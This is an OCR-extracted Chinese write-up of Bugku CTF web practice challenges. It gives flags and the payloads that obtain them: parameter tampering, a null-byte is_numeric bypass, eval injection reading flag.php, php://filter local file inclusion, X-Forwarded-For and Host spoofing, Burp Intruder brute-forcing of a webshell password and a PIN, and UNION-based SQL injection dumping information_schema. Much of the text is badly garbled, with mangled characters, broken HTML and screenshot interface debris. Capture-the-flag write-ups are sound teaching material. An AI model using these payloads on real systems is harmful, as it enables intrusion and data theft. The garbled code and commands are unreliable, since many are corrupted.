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Qig= HTML + A M ®W AR i
<IDOCTYPE html PUBLIC "-//W3C//0TD XHTML 1.0 Transitional//EN" “http:/ www w3 org/ TR/ xhtml1/0TD/ xhtmli-transitional .dtd”> '3%‘&%
<html xmlns="http: //www.w3.org/1999/xhtml"™> (event &Fzf]
p chead> (= < fhead> PHE—PEEE (Flex) £
w <body id="body" onload="init(}">
e - Rt
<l--flag KEY{Web-2-bugKsshNikls! 9}--
<zcript type="text/javascript” src="js/ThreeCanvas.jz"></script> LERE FIREERE 58
<script type="text/javascript"” src="Js/Snow.js"></script> N
]
B <script type="text/javascript™s (=i </script> v A
b cdivy (el /dive position
</body>
PR marein
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WRERENMKERET, FI2EFE

v O2ZEs Deds DwelsE () stREE O § AERmE N WS

Q 2%& HTML
HDOCTYEE htwl PUBLIC ¥-//AW3C//0TD XHTML 1.8 Transitional//EN" "http:/ www. w3 org/ TR/ xhtwl1 /0T
<html xmlns="http:/ . w3.ore /1999 xhtml ">
b <heads s+ </heads
w <body>
<span id="code" class="code" style="background: regb(37, 87, 16) nane repeat zcroll 2% 0%, «

<input class="input" type="text" maxlength="1">
)
<button id="check™>%¥ i< /button> event

b <div style="text-aliegn:center;"s = </div>
<script sre="Jsfquery-1.12.3.min.js"></script>

L T . g o ) - M2 fo o do 2o Lo

R, XA maxlength=1", BCASRIAE
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O OzEz De DEdE (IREEE Qu freeks NRE Qe 0o
Q 93 HTML +

<IDOCTYPE html PUBLIC "-//W3C//0TD XHTML 1.8 Transitional//EN" "http://waw.w3.org/ TR/ xhtwl1/0TD xhitml1-transitional . dtd”> ~
<html xmlns="http: /fwuw. w3 . org/1999/xhtml">
» <head> ()< /head>
w <body>
<span ild="code" class="code" style="backeround: rgb(37, 87, 16) none repeat scroll 0% 0%; color: rgb(152, 16, 165);"»11+45=7</span> |ewvent

o)
<button id="check™¥Ec/button> event
b <div style="text-align:center;"> = </div>
<script sre="Js/jauery-1.12.3.min.js"></script>
<script type="text/javascript" src="Jsfcode.]js"></script> ¥

flag{CTF-bugku-0032}

webZtfti$_GET
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$what=$ GET['what'];
echo $what;
if($what=="flag")
echo 'flag{****}}

WRIEER, 7EHbR 4 A\ ?what=flag
Al 5flagh
flag{bugku_get su8kej2en}

& Q @ @ 123.206.87.240:2002/get/?what=flag
B omepss @ suRms @ FELR B EEmML IWase

$what=$% GET['what'];

echo $what;

if($what=="flag’)

echo 'flag{****};
flagflag{bugku get su8kej2en}

webZtiti$ POST




BB EEEAZ, W 1Eflagh
flag{bugku_get ssseint67se}

< 1 £5. 20051 . 240600 prroUB Ll d=Nelagy | oy e
INT v = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUEF
@ Load URL (123.206.87.240:8002/post/

% Split URL

b Execute

Post data [ | Referrer ¥ OxHEX ™ & %l

Post data (what=flag|

A

@z~ &Cookiesw £ CSS~ [=E~ EEE~ @RTES~ EEMIIEE
JIETCRAFT - Services- | e Since: New Site Rank: 8844 Site Repot

$what=$ POST['what'];

echo $what;

if($what=="flag")

echo 'flag{****}’;

flagflag{bugku get ssseint67se}

¥ J&
R

&« e @ ® 123.206.87.240:8002/get/index1.php
B anEms © suRai @ FELrs B EmEmiE wiae

$num=$_GET['num'];
if(lis_numeric($num))
{

echo $num;
if($num==1)

echo ‘flag{**=*rxxxx)

}



WMEBE, RiZ2MHis_numeric 00EWIEIH, 72X BHA?num=1%00, " flagh
flag{bugku-789-ps-ssdf}

&« ¢ o @ 123.206.87.240:8002/get/index1.php?num=1%00 B e I N

SESS @ suran @ HFE LS BRI FraRFag=t

$num=% GET['num’];
if(!is_numeric($numy)

{

echo $num;
if($num=="1)
echo 'ﬂag{**********}';

}
1flag{bugku-789-ps-ssdf}

is_numeric() & f&ifr:

is_numeric() B¥H TRZ R RS AHFRHFFAHFH.

R e e AR B R B F T A7 Nk E TRUE, B&EE FALSE.
is_numericOOZ: Wi I i 7317 :
https:/mww.cnblogs.com/windclouds/p/5413115.html
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</head>
w <body> 08

FAhtmIf@#fig vl 5flag A
KEY{J2sa42ahJK-HS11IIl}
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1 i‘l Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

[Targel I Froxy I Spider T Scanner T Intruder I Repeatar I Sequencer TDecoder T Comparer I Exztender I Froject options T Uger options IAIer‘ts ]

f. =S

@® Text (O Hex @
Decode as .. Qv

Encode as A
Hash ... Q'

l Srnart decode J

<l-KEY{J2sad2ahJkK-HST1I}->

@® Text () Hex

Decode as .. Q'
Encode as b
Hash ... Q'

l Srnart decode J

A R AT




JR R R

DruREE @ FELK B EmEd Ewias

Challenge 8902 Solves

N
50

i flag.baidu.com IRt RI123.206.87.240 #ifeE 2lflag

B4 @M R AR IR — AN fa 1 —ANip,

JiiE—: HipUii, A, HEHostEES 4
A2 flag

KEY{DSAHDSJ82HDS2211}

Reguest Response

Raw | Headers | Hex Raw | Headers | Hex

GET / HTTP/L.1 A HTTR/1.1 200 OE 'y
Host: flag.baidu.con - Server: nginx "
User-Agenc: Mozilla/5.0 (Windows NT L0.0; Winfé4; wé4: rv:70.0) Date: Sun, Z7 Oct 2019 13:39:259 GMT

Gecko/20100101 Firefox/70.0 Content-Type: text/html

Leecept: Content-Length: Z1

text/html, application/xhtml+xml, application/xml;g=0.9, */*;q=0.8 Last-Modified: Mon, 17 Apr 2017 15:25:23 GNT

Accept-Language : Connection: close

zh-CHN, zh; q=0.28, zh-TW; q=0.7, 2h-HE; q=0.5,en-U3; q=0.3,en; gq=0.2 ETag: "52f4deg3-15"

Connection: close Accept-Ranges: bytes

Upgradse-Insscure-Requests: 1
FEY{DSAHDST82HDS52211}

YRI5 L B4 TR
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| want to play Dummy game with others£;But | can't stop!
Stop at panda ! u will get flag

Hburp suiteIM &
BRAGT, KT —&kitfag 7

flag{dummy_game_1s_s0_popular}

LU IULET ERSELE Y8 U | IS

[Target I Proxy I Shider I Scanner I Intruder I Repeater I Sequencer I Decoder I Cormparer I Extender I Project options I User options IAIens ]

Raw | Headers | Hex

1 = |2 =
Go Cancel | [ < (v | [ > 7 Target: http://123.206.87 240:8002 @ 2
Request Response

Raw | Headers | Hex HTMLIRender]

GET /webl2Z/ HTTP/1.1

Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; =E4; rv:70.0)
Gecko/Z0L0010L Firefox/70.0

Aeocept:

text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
ALeecept-Language:

zh-CN, zh; q=0.8, zh-TW; ¢=0.7, zh-HE; q=0.5,=n-U3; g=0.3,en; g=0.2
Connection: close

Upgrade-Insecure-Requests: L

Cache-Control: max-age=0

ITI [Tj ITI ITI Type & search term

XHaE

I

=
¥

0 matches

HTTF/1.1 200 OK

Server: nginx

Date: Sun, 27 Oct 2019 13:46:28 GMT
Content-Type: text/html

Connection: close

Content-Length: 630

O<html>

<head>

<meta charsst="utf-5">

<meta name="viewport" content="width=device-width,
initial-scale=1.0">

<meta name="description” content="">

<meta name="author” content="">

<title>Dummy game</title>

</head>

<geript language="JavaScript's

function myrefreshi){

window.location.reload() ;

1

setTimeout ( 'myrefresh()', 500) ;

«/scripts

<hody>

<center=<strong>I want te play Dummy game with othersfBut I can't
stop!</strong></centers>

<center>5top at panda ! u will get flag</center>
<centers<dive<img sre="10.Jpg"/></dive</center><br><a
style="display:none"}flaq[dumnﬂ;qame_ls_sﬂ_pnpular}<fa><fbody>
</html>

T T T T Type & search term 0 matches
L2 bl be o] e



JR R 7

& C © © & 123.206.87.240:2003
By oameEsms © st @ FELLE B ammn [ )iase

<{?php
include “flag.php”;
$a = @$_REQUEST[ hello’ ]:
eval { “var dump($a):”);
show_source( FILE ) :

?>

Hit—TFRG, KEEBMEEZ — M helofER%a, REHEHita, LHEARRAag.php, Al ReflagfEX N30

AR T B AL # —hello, B CARB S hello, FIF phpH i file_get_contents() %k, HHEURLETE N L
[?hello=file_get_contents(‘flag.php’),

F122Z JE Mt T LAfG Blflag T

R A B AR R

< ¢ @ © #& 123.206.87.240:8003/7hello=file_get_contents(flag.php’) BE e
B xmests © srsk @ Eris B EERL [ Nas

string(84) "" <?php
inelude “flag.php”:
$a = @$_REQUEST[ hello’ ]:
eval( “var dump($a);”);
show_source(_FILE_ )

ios

v OZEE D DEdteE (Irsties O waEEms NRg Beg OaF

Q183 HTML 4+ 2 [ @
chtmls v s
head»</head
w <body> EE—
string(84) " - S
<l--tphp $flag = 'Too Young Too Simple'; # echo $flag; # flag{bug-ctf-gg-99}; r-->
" LTI FIE
b <codey == ¢ foode>
</body> v BT
</html>
=N
ZE1

EMA T ERIMRN, HhAEMEENargsS BT IENILE, W+LEFER. . TR, WRILEAR, BstHtargs
error, [LHED R &HAT

"var_dump( )"
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< X @

© & 123.206.87.240:9009/hd.php

- m @ & s
B YamEs s SRR @ FFLE l Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn O X
Burp Intruder Repeater Window Help
[Targe( T TSp\dsr I Seannar T Intruder f Repeater I Seruencer T Decoder TCnmpavsv IExlsr\dsr I Project options Iu;av options IA\Ens ]
- ]
: htthe " 2
. | e | Target: http:/123.206.87.240:9009 | # || 7 |
fHa migE.
Raw | Heaters | Hex | R | Heaters | Hex | HTML | Render |
GET /hd.php HTTP/Ll.L . HTTP/Ll.1 200 OK .
Host: .206.87. 9009 r Server: nginx r
User-Agent: Moz 0 (Vindows NT 10.0; Wing4; x€4; rv:70.0) Date: Thu, 31 COct 2019 09:10:49 GMT
Gecko/20100101 Firefox/70.0 Content-Type: text/html
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 flag{Bugku k8 23s_istral:
Accept-Language: Content-Length: 139
I, zh 0
nnection:
Upgrads-Insecu <html>
=ta http-squiv="Co =" content="text/html; charset=UTF-87 />
b b
v v
L2 = ||+ || 2| Tweaseacttem 0 matches L2 €| || 2| Tweaseachtem 0 matches
Dane 303 bytes 147 mills

FTTFREA T BRI T 4 ARG IE RIS

EAiEREE

FRESIE—T,

m Hhhik



A Sl
http: //123.206. 87. 240:8002 /webshell /index. php
http: //123.206. 87. 240:8002 /webshell /shell. php
http: //123.206. 87. 240:8002 /webshell /index. php

RIE Ashell.php

WebShel |

BEEIA, B8, AR simplelist, /5 2&bpH i Kpasswords, ZiH&hack

3| Request | Payload ! Errar |Timeuut| Length | Comment
1 200 a (] 1090
| 1945 | hack | 200 U (] 1110
0 200 g (] 1125
2 % 200 g O M1z
3 @ o 200 g (] 1125
|8 Iroat 200 g O M1z
| 5 G e 200 g (] 1125
i 4 \EHE %8 200 g O M1z
8 Fzecured 200 | ] 128
17 FSRY 200 g O M1z

ars

[Request -

- Headers T Hex T HTHIL T Render 1

lthreedface; border-color: HFFFFFF #599999 0999999 H#FFFFFF; border-style:
<diwv

#FFFFFF; background: HIS83F5F; clear: both;"=
<h>WebShell</l>

| </ div>

<diwv

#000000; clear: both;":

:ZTDpx;">
</ dive

<f dive

<center>
<span style="color: red;">
flag{hack bug kul35}

</ span>

solid; border-width: lp=:"

style="width: 350px:; height: ZZpx; padding-top: Zpx: color:

style="width: 350px:; height: S80px; margin-top: 50px: color:

PASS:<input type="password" name="pass" style="width:

<div style="width: 350px; height: 80px:; clear: both: ">
<input type="submit" wvalue="0O0" style="width: S0px:;">



BERRG

RY—Bbaseb44ity, f#I )G Ntest123

THER AR L%

Username:
Password:

Submit Reset

IPELTF ], HEEAE A E E AN, IPLiitE.

[w ﬂ Elements Console Sources Network Performance  Memory  Application Security  Audits
“ | Styles Computed EventListeners DOM Breakpoints  Properties
Filter

No matching selector or style

<l-- dGv¥zdDEyMw== --> == £0
/body

AR J5 $Ehttp Sk #F E I — 17 X-Forwarded-For : 127.0.0.1,

[Target I Proxy I Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer T Extender I Project options T User options IA\ens ]
1 2= |3 = [4=
Go Cancel | | < |¥ > | Target: http:/1123.206.31.85:1003 | #|| 7
Request Response
Raw | Pararns | Headers | Hex Rawy
A
Name | Value | Auilel r
i B 7| Cache-Control rnax-age=0 "‘
Origin http:/f123.206.31.85:1003 Remave
Upgrade-Insecure-Requests 1 Up
Sourced | Content-Type application/x-www-form-urlencoded
User-Agent MozillaS.0 (Windows MNT 10.0; Winbd; x64) Appl... Dot
Accept textfhtml,application/xhtml+xml application/xml;y... ity
Referer hittp:/f123.206.31.65: 1003/
Accept-Language zh-Ch,zh;q=0.9
Connection close
¥-Forwarded-For [27.0.0.] I{
user=123 &pass=testll3 A
-
e v
v T
i
= =) H 5 =] > %
S R: admin, #FiERtest123, H kA, Ffiflag
E Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fosec.vn — U X

Eurp Intruder Repeater Window Help

[Target I Prosxy I Spider T Scanner T Intruder I Repeater I Sequencer T Decoder T Comparer T Extender T Project options I User options IA\ens }

1 =2 =3 = |4=x



| So || Gancel || <|v || >]|r Target: http://123.206.31.05:1003 | & | 2|
E Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ]' Render ]
POST / HTTR/L.L A Contenc-Type: text/html N
Host: 123.I0&.31.85:1003 . Connection: close
ECnntEnt—Length: 23 Content-Length: 5480 l
Cache-Control: max-age=0
Origin: http://123.206.31.85:1003 O0<html>
Upgrade-Insecure-Requests: 1 <heads> o
Content-Type: application/x-www-form-urlencodsd <title>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) 00000000
AppleWsbKit/537.36 (KHTHML, like Gecko) Chrome/74.0.3729.169 </title>
Safari/537.3¢€ </heads>
Accept: <body>
text/html, application/xhtml+xml, application/xwl;g=0.9, imags/webp, image <hl>00000000</ hi>
fapng, */*;¢q=0.8, application/signed-exchangs;v=h3 <form method="POST" autocomplete="off":>
Beferer: http://123.206.31.85:1003/ . <p>rUsername: <input typse="text" name="user" id="user"></p> l
Aeceprt-Language: zh-CHM, zh;g=0.9 <prPassword: <input type="passwvord” name="pass" id="pass"></p> T
Connection: close [
K-Forwarded-For: 127.0.0.1 <p>
<input typs="submit" wvalus="Submic"/>
user=admin&pass=testlIl3 <input type="reset" value="Reset"/>
</ p>
</ form>
<font style="color:#FFO000"><h3>The flag is:
85ff2ee4171396724bae20c0bd851E6b</ hi><br  ></font’ >
</body>
</html> -
- -
L L
liJ bJ lLJ u Type & search torm 0 matches ? m uJ u Type & search term 0 matches
Dane 4817 hytes | 32 millis
v <

A s

24mE &t 1 AEE 148 KB

web 4

BEIRI?

\ \ Submit

O OzEE DEs DEng (Ees O 7 2B N RE B o O ms @ HackBar

Q8% HTML + 2
w<form action="index.php" method="post"> )
FRENDT
<br»
<br»

w <script>

</zcript>
<input id="flag" type="input" name="flag">

<input type="submit" name="submit" value="Submit"»
</form>
< /body>
</html> v

html > horv > form > serint

THEE, RABEERE, F122)5, RA—HRwmE

WHER HE: eval(unescape(p1) + unescape( %35%34%61%61%32’ + p2));

ﬁﬂ}ﬁ:

var p1= function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b



var
p2= 'aab48cf6e87a7114f1"==a.value)return!@;alert("Error");a.focus();return!i}}document.getElementById("levelQues
t").onsubmit=checkSubmit;";

MR %35%34%61%61%32 i 54aa2

PHEE SRR function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!@;alert("Error");a.focus();return!1}}document.getElementB
yId("levelQuest").onsubmit=checkSubmit

B2 R, ¥ 67d709b2b54aa2aac48cf6e87a7114f1 W,

BEIRAD?

Submit

KEY{J22JK-HS11}

# lflag
flag7E index &

ITFEEEE, H¥lclick me? no R B2 5 H ltests,

click me? no

< c ©  # 123.206.87.240:3005/post/index.php?file=show.php
@ wwe GuEssSs @ Rmn @ FELE O EEMLE @ &l
tests

FEX B ATCAE W, 455! B 2 A F php O X,

I http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php



&« c o © & 123.206.87.240:8005/post/index.php?file=php://filter/read = convert.basebd-en B e Oy
@ sme B yanEsus @ ok @ FELE B EARL 6 sk
PGhObWw+DQoglCAgPHRpdGxIPkI1Z2t1LWNOZjwvdGI0bGU+DQoglCAgDQo8P3Boc AOKCWVycm9yX3J1cGOydGluZygwKTsN

base64f#til 2 J5, & Zflag

WMAEBEFEfag
© & 123.206.87.240:3002/baopo/?yes 28 e oY

i @ FFELEE O EBEML @ R

i\ BTG | ==
FERIAERD, TEERTEA.

LB SRR T ERA, IR,

m Payload Sets

You can define one or maore payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Yarious payload types are avai
payload set, and each payload type can be customized in different ways.

Payload set: l1 |vJ FPayload count: 90,000

Payload type: | Mumbers > Request count: 90,000

Payload Options [Numbers]

()

This payload type generates numeric payloads within a given range and in a smy-mrmat.



Mumber range

Type: ® Sequential () Random

Frorm: 10000

Ta: 99999 K*\

e : \
Howe rriany: ~

Murmber format
Base: ® Decimal () Hex
Min integer digits: 0

Max integer digits: 0

M10000%)99999, —A—AME, BHIREWLN

:J Results ITarget T Fositions I Payloads T Options }

|| Filter: Showing all items QJ
e
( Request | Paylny |Status | Emor | Timeout | Length & Comment
3560 13579 200 O O] 246 "
Ao 200 O (] 1327
1 10000 200 O O] 1327
2 10001 200 O Ol 1327
3 10002 200 O O] 1327
|4 10003 200 O Ol 1327
=3 10005 200 O O] 1327
5 10004 200 O Ol 1327
7 10006 200 O O] 1327
9 10008 200 O Ol 1327 :,

O Ry L

L J A MR A e

flag{bugku-baopo-hah]

FARET X 13579, HAESifag
Rii—HARK



Goal: 10/1000000

g.csdn.netlg

RE—HAK, Bk, PPEER, LINBEE, REFENLITESH

var clicks=0
S(function() {
5("#Hcookie")
.mousedown(function() {
S(this) .width('350px') .height('350px')
13
mouseup ( function() {
S(this) .width('375px"') .height('375px'):
clicks++;
S("#clickcount") .text(clicks) ;
if{clicks >= 1000000) {
var form = §5('<form action="" method="post">' +
'<input type="text" name="clicks" wvalue="' + clicks + '"
dddenf>' +
‘< fform>') ;
S( 'body') .append{form) ;
form.submit() ;

1
hs

FEHME
¥fEhackbar B flpost /%1 clicks=1000000 , A5 E K H I T flag



flag{Not COOkI3CI1ck3r}

OBEEr Qe DEdE (rEEsE Qb faEEsms NEE 5% 0 MF @ Hackbar
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'<2php

/'k'k
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6

¥ Time: 20:22

i

‘include_once "flag.php™;
ini_set("display_errors", 0);

$str = strstr($ SERVER['REQUEST URIY, '?%;
1$str = substr($str,1);

$str = str_replace('key',", $str);
parse_str($str);

‘echo md5($key1);

|

echo md5($key?2);

if(mdS($key1) == mdS5($key2) && $key1 == $key2){
echo $flag."BYi8flag";

}

?>
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mtkE B 2sqliEN, -1 orderby 1,2,3,4
BBARES: B -1' union select 1,2,3,database()#, 5%¥EFE & skctf_flag”

2 3 sketf_flag

BRZ: BN -1' union select 1,2,3,group_concat(table name) from information_schema.tables where
table_schema=database()# , f§3IF4 Afdg
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1B54Z: BN -1' union select 1,2,3,group_concat(column_name) from information_schema.columns where
table_name=0x666c3467#

KIRH 7 sketf_flag
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2 3 sketf_flag

Eifisketf flagh| BN ZE: BIAN: -1' union select 1,2,3,skctf flag from flagh

1HIRY SR ER

2 3 BUGKU{SqI_INJECTON_4813drd8hz4}




	bugku练习Web 1（web2--成绩单）
	web2
	计算器
	web基础$_GET
	web基础$_POST
	矛盾
	web3
	域名解析
	你必须让它停下来
	文件包含
	变量1
	头等舱
	网页被黑
	管理员系统
	web 4
	flag在index里
	输入密码查看flag
	点击一百万次
	备份是个好习惯
	成绩单


